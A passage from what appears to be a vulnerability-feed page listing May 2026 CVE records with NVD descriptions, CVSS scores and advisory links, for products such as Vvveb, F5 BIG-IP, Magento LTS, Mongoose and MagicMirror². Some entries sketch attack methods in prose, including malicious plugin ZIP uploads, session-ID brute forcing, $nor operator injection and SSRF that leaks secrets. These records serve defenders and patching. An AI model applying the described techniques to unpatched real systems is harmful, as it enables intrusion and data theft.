CVSS 7.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-41702).
Sources:
NVD CVE-2026-41702: https://nvd.nist.gov/vuln/detail/CVE-2026-41702
Vendor advisory (via NVD references): https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/37454
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
VMware Fusion contains a TOCTOU (Time-of-check Time-of-use) vulnerability that occurs during an operation performed by a SETUID binary. A malicious actor with local non-administrative user privileges may exploit this vulnerability to escalate privileges to root on the system where Fusion is installed.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vvveb before 1.0.8.3 contains an uncontrolled recursion vulnerability in the admin controller dispatch cycle where Base::init() repeatedly invokes permission() on error handlers,...
https://kevwire.com/record/CVE-2026-41935
Vvveb before 1.0.8.3 contains an uncontrolled recursion vulnerability in the admin controller dispatch cycle where Base::init() repeatedly invokes permission() on error handlers,... (May 14, 2026).
Vvveb before 1.0.8.3 contains an uncontrolled recursion vulnerability in the admin controller dispatch cycle where Base::init() repeatedly invokes permission() on error handlers, causing infinite recursion until PHP memory limits are exhausted. Attackers can send sustained requests to forbidden admin URLs from a low-privilege account to exhaust PHP memory on all workers and cause denial of service to legitimate traffic.
CVSS 7.1 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-41935).
Sources:
NVD CVE-2026-41935: https://nvd.nist.gov/vuln/detail/CVE-2026-41935
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Vvveb before 1.0.8.3 contains an uncontrolled recursion vulnerability in the admin controller dispatch cycle where Base::init() repeatedly invokes permission() on error handlers, causing infinite recursion until PHP memory limits are exhausted. Attackers can send sustained requests to forbidden admin URLs from a low-privilege account to exhaust PHP memory on all workers and cause denial of service to legitimate traffic.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vvveb before 1.0.8.3 contains an unrestricted file upload vulnerability in the plugin upload endpoint that allows super_admin users to execute arbitrary PHP code by uploading a...
https://kevwire.com/record/CVE-2026-41937
Vvveb before 1.0.8.3 contains an unrestricted file upload vulnerability in the plugin upload endpoint that allows super_admin users to execute arbitrary PHP code by uploading a... (May 14, 2026).
Vvveb before 1.0.8.3 contains an unrestricted file upload vulnerability in the plugin upload endpoint that allows super_admin users to execute arbitrary PHP code by uploading a malicious plugin ZIP file. Attackers can craft a ZIP containing a plugin.php with a valid Slug header and a public/index.php file with arbitrary PHP code, which executes as the web server user once accessed via subsequent unauthenticated HTTP requests to the plugin's public path.
CVSS 8.6 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-41937).
Sources:
NVD CVE-2026-41937: https://nvd.nist.gov/vuln/detail/CVE-2026-41937
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Vvveb before 1.0.8.3 contains an unrestricted file upload vulnerability in the plugin upload endpoint that allows super_admin users to execute arbitrary PHP code by uploading a malicious plugin ZIP file. Attackers can craft a ZIP containing a plugin.php with a valid Slug header and a public/index.php file with arbitrary PHP code, which executes as the web server user once accessed via subsequent unauthenticated HTTP requests to the plugin's public path.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### When a classification profile is configured on a UDP virtual server, undisclosed requests can cause the Traffic Management Microkernel (TMM) to terminate.
https://kevwire.com/record/CVE-2026-41956
When a classification profile is configured on a UDP virtual server, undisclosed requests can cause the Traffic Management Microkernel (TMM) to terminate. (May 13, 2026).
When a classification profile is configured on a UDP virtual server, undisclosed requests can cause the Traffic Management Microkernel (TMM) to terminate.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.
CVSS 8.7 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-41956).
Sources:
NVD CVE-2026-41956: https://nvd.nist.gov/vuln/detail/CVE-2026-41956
Vendor advisory (via NVD references): https://my.f5.com/manage/s/article/K000158038
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
When a classification profile is configured on a UDP virtual server, undisclosed requests can cause the Traffic Management Microkernel (TMM) to terminate.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An authenticated remote code execution vulnerability through undisclosed vectors exists in the BIG-IP and BIG-IQ Configuration utility.
https://kevwire.com/record/CVE-2026-41957
An authenticated remote code execution vulnerability through undisclosed vectors exists in the BIG-IP and BIG-IQ Configuration utility. (May 13, 2026).
An authenticated remote code execution vulnerability through undisclosed vectors exists in the BIG-IP and BIG-IQ Configuration utility.

 Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.
CVSS 8.7 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-41957).
Sources:
NVD CVE-2026-41957: https://nvd.nist.gov/vuln/detail/CVE-2026-41957
Vendor advisory (via NVD references): https://my.f5.com/manage/s/article/K000156761
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
An authenticated remote code execution vulnerability through undisclosed vectors exists in the BIG-IP and BIG-IQ Configuration utility.

 Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Incorrect permission assignment vulnerabilities exist in BIG-IP and BIG-IQ TMOS Shell (tmsh) network diagnostics commands and in BIG-IP iControl REST.
https://kevwire.com/record/CVE-2026-41959
Incorrect permission assignment vulnerabilities exist in BIG-IP and BIG-IQ TMOS Shell (tmsh) network diagnostics commands and in BIG-IP iControl REST. (May 13, 2026).
Incorrect permission assignment vulnerabilities exist in BIG-IP and BIG-IQ TMOS Shell (tmsh) network diagnostics commands and in BIG-IP iControl REST. These vulnerabilities may allow an authenticated attacker to view the network status of destination systems.

 Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.
CVSS 7.1 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-41959).
Sources:
NVD CVE-2026-41959: https://nvd.nist.gov/vuln/detail/CVE-2026-41959
Vendor advisory (via NVD references): https://my.f5.com/manage/s/article/K000161022
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Incorrect permission assignment vulnerabilities exist in BIG-IP and BIG-IQ TMOS Shell (tmsh) network diagnostics commands and in BIG-IP iControl REST. These vulnerabilities may allow an authenticated attacker to view the network status of destination systems.

 Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ELECOM wireless LAN access point devices contain an OS command injection in processing of username parameter.
https://kevwire.com/record/CVE-2026-42062
ELECOM wireless LAN access point devices contain an OS command injection in processing of username parameter. (May 13, 2026).
ELECOM wireless LAN access point devices contain an OS command injection in processing of username parameter. If processing a crafted request, an arbitrary OS command may be executed. No authentication is required.
CVSS 9.3 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-42062).
Sources:
NVD CVE-2026-42062: https://nvd.nist.gov/vuln/detail/CVE-2026-42062
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
ELECOM wireless LAN access point devices contain an OS command injection in processing of username parameter. If processing a crafted request, an arbitrary OS command may be executed. No authentication is required.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Magento Long Term Support (LTS) is an unofficial, community-driven project provides an alternative to the Magento Community Edition e-commerce platform with a high level of...
https://kevwire.com/record/CVE-2026-42155
Magento Long Term Support (LTS) is an unofficial, community-driven project provides an alternative to the Magento Community Edition e-commerce platform with a high level of... (May 15, 2026).
Magento Long Term Support (LTS) is an unofficial, community-driven project provides an alternative to the Magento Community Edition e-commerce platform with a high level of backward compatibility. Prior to 20.18.0, the XML-RPC / SOAP API session ID is generated using an outdated, time-based construction rather than a Cryptographically Secure Pseudo-Random Number Generator (CSPRNG). All inputs to the MD5 hash are time-derived and non-secure. Because the resulting digest relies entirely on the timestamp and the PHP internal LCG state, the effective entropy is severely constrained. This violates the OWASP ASVS v4 requirement of ≥ 64 bits of entropy (V3.2.2) and NIST SP 800-63B standards. By narrowing the LCG window (via server state leaks or general predictability) and leveraging the lack of API rate-limiting, an attacker can generate a localized pool of candidate MD5 hashes and execute a high-speed online brute-force attack to hijack active API sessions. This vulnerability is fixed in 20.18.0.
CVSS 9.3 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-42155).
Sources:
NVD CVE-2026-42155: https://nvd.nist.gov/vuln/detail/CVE-2026-42155
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Magento Long Term Support (LTS) is an unofficial, community-driven project provides an alternative to the Magento Community Edition e-commerce platform with a high level of backward compatibility. Prior to 20.18.0, the XML-RPC / SOAP API session ID is generated using an outdated, time-based construction rather than a Cryptographically Secure Pseudo-Random Number Generator (CSPRNG). All inputs to the MD5 hash are time-derived and non-secure. Because the resulting digest relies entirely on the timestamp and the PHP internal LCG state, the effective entropy is severely constrained. This violates the OWASP ASVS v4 requirement of ≥ 64 bits of entropy (V3.2.2) and NIST SP 800-63B standards. By narrowing the LCG window (via server state leaks or general predictability) and leveraging the lack of API rate-limiting, an attacker can generate a localized pool of candidate MD5 hashes and execute a high-speed online brute-force attack to hijack active API sessions. This vulnerability is fixed in 20.18.0.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### django-s3file is a lightweight file upload input for Django and Amazon S3.
https://kevwire.com/record/CVE-2026-42196
django-s3file is a lightweight file upload input for Django and Amazon S3. (May 12, 2026).
django-s3file is a lightweight file upload input for Django and Amazon S3. Prior to 7.0.2, S3FileMiddleware is vulnerable to relative path traversal attacks, where an attacker can use a modified request to escape pre-signed upload locations and have the Django application load files from random locations into request.FILES. Depending on how files are handled, this may lead to confidentiality and integrity issues. This vulnerability is fixed in 7.0.2.
CVSS 9.9 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-42196).
Sources:
NVD CVE-2026-42196: https://nvd.nist.gov/vuln/detail/CVE-2026-42196
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
django-s3file is a lightweight file upload input for Django and Amazon S3. Prior to 7.0.2, S3FileMiddleware is vulnerable to relative path traversal attacks, where an attacker can use a modified request to escape pre-signed upload locations and have the Django application load files from random locations into request.FILES. Depending on how files are handled, this may lead to confidentiality and integrity issues. This vulnerability is fixed in 7.0.2.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ModSecurity is an open source, cross platform web application firewall (WAF) engine for Apache, IIS and Nginx.
https://kevwire.com/record/CVE-2026-42268
ModSecurity is an open source, cross platform web application firewall (WAF) engine for Apache, IIS and Nginx. (May 12, 2026).
ModSecurity is an open source, cross platform web application firewall (WAF) engine for Apache, IIS and Nginx. From 3.0.0 to before 3.0.15, there is an unhandled exception (std::out_of_range) caused by unsigned integer underflow in libmodsecurity3 if the user (administrator) uses a rule any of @verifySSN, @verifyCPF, or @verifySVNR. This vulnerability is fixed in 3.0.15.
CVSS 8.2 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-42268).
Sources:
NVD CVE-2026-42268: https://nvd.nist.gov/vuln/detail/CVE-2026-42268
Vendor advisory (via NVD references): https://github.com/owasp-modsecurity/ModSecurity/security/advisories/GHSA-vwr3-7x7g-7p9w
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
ModSecurity is an open source, cross platform web application firewall (WAF) engine for Apache, IIS and Nginx. From 3.0.0 to before 3.0.15, there is an unhandled exception (std::out_of_range) caused by unsigned integer underflow in libmodsecurity3 if the user (administrator) uses a rule any of @verifySSN, @verifyCPF, or @verifySVNR. This vulnerability is fixed in 3.0.15.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### MagicMirror² is an open source modular smart mirror platform.
https://kevwire.com/record/CVE-2026-42281
MagicMirror² is an open source modular smart mirror platform. (May 14, 2026).
MagicMirror² is an open source modular smart mirror platform. Prior to 2.36.0, an unauthenticated Server-Side Request Forgery (SSRF) vulnerability in the /cors endpoint allows any remote attacker to force the MagicMirror² server to perform arbitrary HTTP requests to internal networks, cloud metadata services, and localhost services. The endpoint also expands environment variable placeholders (**VAR_NAME**), enabling exfiltration of server-side secrets. This vulnerability is fixed in 2.36.0.
CVSS 9.2 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-42281).
Sources:
NVD CVE-2026-42281: https://nvd.nist.gov/vuln/detail/CVE-2026-42281
Vendor advisory (via NVD references): https://github.com/MagicMirrorOrg/MagicMirror/security/advisories/GHSA-ph6f-2cvq-79hq
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
MagicMirror² is an open source modular smart mirror platform. Prior to 2.36.0, an unauthenticated Server-Side Request Forgery (SSRF) vulnerability in the /cors endpoint allows any remote attacker to force the MagicMirror² server to perform arbitrary HTTP requests to internal networks, cloud metadata services, and localhost services. The endpoint also expands environment variable placeholders (**VAR_NAME**), enabling exfiltration of server-side secrets. This vulnerability is fixed in 2.36.0.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Mongoose is a MongoDB object modeling tool designed to work in an asynchronous environment.
https://kevwire.com/record/CVE-2026-42334
Mongoose is a MongoDB object modeling tool designed to work in an asynchronous environment. (May 14, 2026).
Mongoose is a MongoDB object modeling tool designed to work in an asynchronous environment. Prior to 6.13.9, 7.8.9, 8.22.1, and 9.1.6, a vulnerability allows bypassing Mongoose’s sanitizeFilter query sanitization mechanism via the $nor operator. When sanitizeFilter is enabled, Mongoose wraps query operators in $eq to neutralize them. However, prior to the fix, $nor was not included in the set of logical operators that are recursively sanitized. Because $nor accepts an array (like $and and $or), and arrays do not trigger hasDollarKeys(), malicious operators such as $ne, $gt, or $regex could be injected inside a $nor clause without being sanitized. This vulnerability is fixed in 6.13.9, 7.8.9, 8.22.1, and 9.1.6.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-42334).
Sources:
NVD CVE-2026-42334: https://nvd.nist.gov/vuln/detail/CVE-2026-42334
Vendor advisory (via NVD references): https://github.com/Automattic/mongoose/security/advisories/GHSA-wpg9-53fq-2r8h
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Mongoose is a MongoDB object modeling tool designed to work in an asynchronous environment. Prior to 6.13.9, 7.8.9, 8.22.1, and 9.1.6, a vulnerability allows bypassing Mongoose’s sanitizeFilter query sanitization mechanism via the $nor operator. When sanitizeFilter is enabled, Mongoose wraps query operators in $eq to neutralize them. However, prior to the fix, $nor was not included in the set of logical operators that are recursively sanitized. Because $nor accepts an array (like $and and $or), and arrays do not trigger hasDollarKeys(), malicious operators such as $ne, $gt, or $regex could be injected inside a $nor clause without being sanitized. This vulnerability is fixed in 6.13.9, 7.8.9, 8.22.1, and 9.1.6.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability exists in BIG-IP and BIG-IQ systems where a highly privileged, authenticated attacker with at least the Certificate Manager role can modify configuration objects...
https://kevwire.com/record/CVE-2026-42406
A vulnerability exists in BIG-IP and BIG-IQ systems where a highly privileged, authenticated attacker with at least the Certificate Manager role can modify configuration objects... (May 13, 2026).
A vulnerability exists in BIG-IP and BIG-IQ systems where a highly privileged, authenticated attacker with at least the Certificate Manager role can modify configuration objects that allow running arbitrary commands.     Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.
CVSS 8.5 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-42406).
Sources:
NVD CVE-2026-42406: https://nvd.nist.gov/vuln/detail/CVE-2026-42406
Vendor advisory (via NVD references): https://my.f5.com/manage/s/article/K000160971
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
A vulnerability exists in BIG-IP and BIG-IQ systems where a highly privileged, authenticated attacker with at least the Certificate Manager role can modify configuration objects that allow running arbitrary commands.     Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### When an HTTP/2 profile and an iRule containing the HTTP::redirect or HTTP::respond command are configured on a virtual server, undisclosed requests can cause the Traffic...
https://kevwire.com/record/CVE-2026-42409
When an HTTP/2 profile and an iRule containing the HTTP::redirect or HTTP::respond command are configured on a virtual server, undisclosed requests can cause the Traffic... (May 13, 2026).
When an HTTP/2 profile and an iRule containing the HTTP::redirect or HTTP::respond command are configured on a virtual server, undisclosed requests can cause the Traffic Management Microkernel (TMM) process to terminate.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.
CVSS 8.7 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-42409).
Sources:
NVD CVE-2026-42409: https://nvd.nist.gov/vuln/detail/CVE-2026-42409
Vendor advisory (via NVD references): https://my.f5.com/manage/s/article/K000159034
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
When an HTTP/2 profile and an iRule containing the HTTP::redirect or HTTP::respond command are configured on a virtual server, undisclosed requests can cause the Traffic Management Microkernel (TMM) process to terminate.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### SQLBot is an intelligent Text-to-SQL system based on large language models and RAG.
https://kevwire.com/record/CVE-2026-42463
SQLBot is an intelligent Text-to-SQL system based on large language models and RAG. (May 13, 2026).
SQLBot is an intelligent Text-to-SQL system based on large language models and RAG. Prior to 1.8.0, SQLBot contains a Cross-Workspace IDOR (Insecure Direct Object Reference) and Authorization Bypass vulnerability in the /api/v1/datasource/exportDsSchema and /api/v1/datasource/uploadDsSchema endpoints. An attacker can access and modify database schemas and data sources belonging to other tenants/workspaces. This vulnerability is fixed in 1.8.0.
CVSS 8.6 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-42463).
Sources:
NVD CVE-2026-42463: https://nvd.nist.gov/vuln/detail/CVE-2026-42463
Vendor advisory (via NVD references): https://github.com/dataease/SQLBot/security/advisories/GHSA-pq2r-fj48-xfpp
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
SQLBot is an intelligent Text-to-SQL system based on large language models and RAG. Prior to 1.8.0, SQLBot contains a Cross-Workspace IDOR (Insecure Direct Object Reference) and Authorization Bypass vulnerability in the /api/v1/datasource/exportDsSchema and /api/v1/datasource/uploadDsSchema endpoints. An attacker can access and modify database schemas and data sources belonging to other tenants/workspaces. This vulnerability is fixed in 1.8.0.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Granian is a Rust HTTP server for Python applications.
https://kevwire.com/record/CVE-2026-42544
Granian is a Rust HTTP server for Python applications. (May 12, 2026).
Granian is a Rust HTTP server for Python applications. From 1.2.0 to 2.7.4, Granian aborts a worker process when an unauthenticated client sends a WebSocket upgrade request whose Sec-WebSocket-Protocol header contains non-ASCII bytes. The crash happens in Granian's WebSocket scope construction path, before the ASGI application is invoked. This vulnerability is fixed in 2.7.4.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-42544).
Sources:
NVD CVE-2026-42544: https://nvd.nist.gov/vuln/detail/CVE-2026-42544
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
